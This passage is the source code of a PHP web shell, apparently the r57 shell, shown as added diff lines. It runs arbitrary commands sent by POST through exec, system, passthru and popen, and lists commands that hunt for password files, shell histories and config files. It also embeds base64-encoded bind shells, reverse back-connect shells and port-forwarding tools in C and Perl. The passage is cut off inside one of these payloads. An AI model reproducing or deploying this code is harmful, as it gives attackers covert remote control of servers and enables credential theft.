folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>?</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if($windows&&!$safe_mode) + { + $uname = ex("ver"); + if(empty($uname)) { $safe_mode = 1; } + } +else if($unix&&!$safe_mode) + { + $uname = ex("uname"); + if(empty($uname)) { $safe_mode = 1; } + } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '&lt;DIR&gt;'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo " <li><b>[ $file ]</b></li>\n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a<count($strings);$a++) + { + $pattern = '(<title>(.+)</title>)'; + if(@eregi($pattern,$strings[$a],$pockets)) + { + $header = "&laquo;".$pockets[2]."&raquo;"; + break; + } + } + echo " <li>".$header."</li>\n"; + } + } + } + } + echo " </ul>\n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol 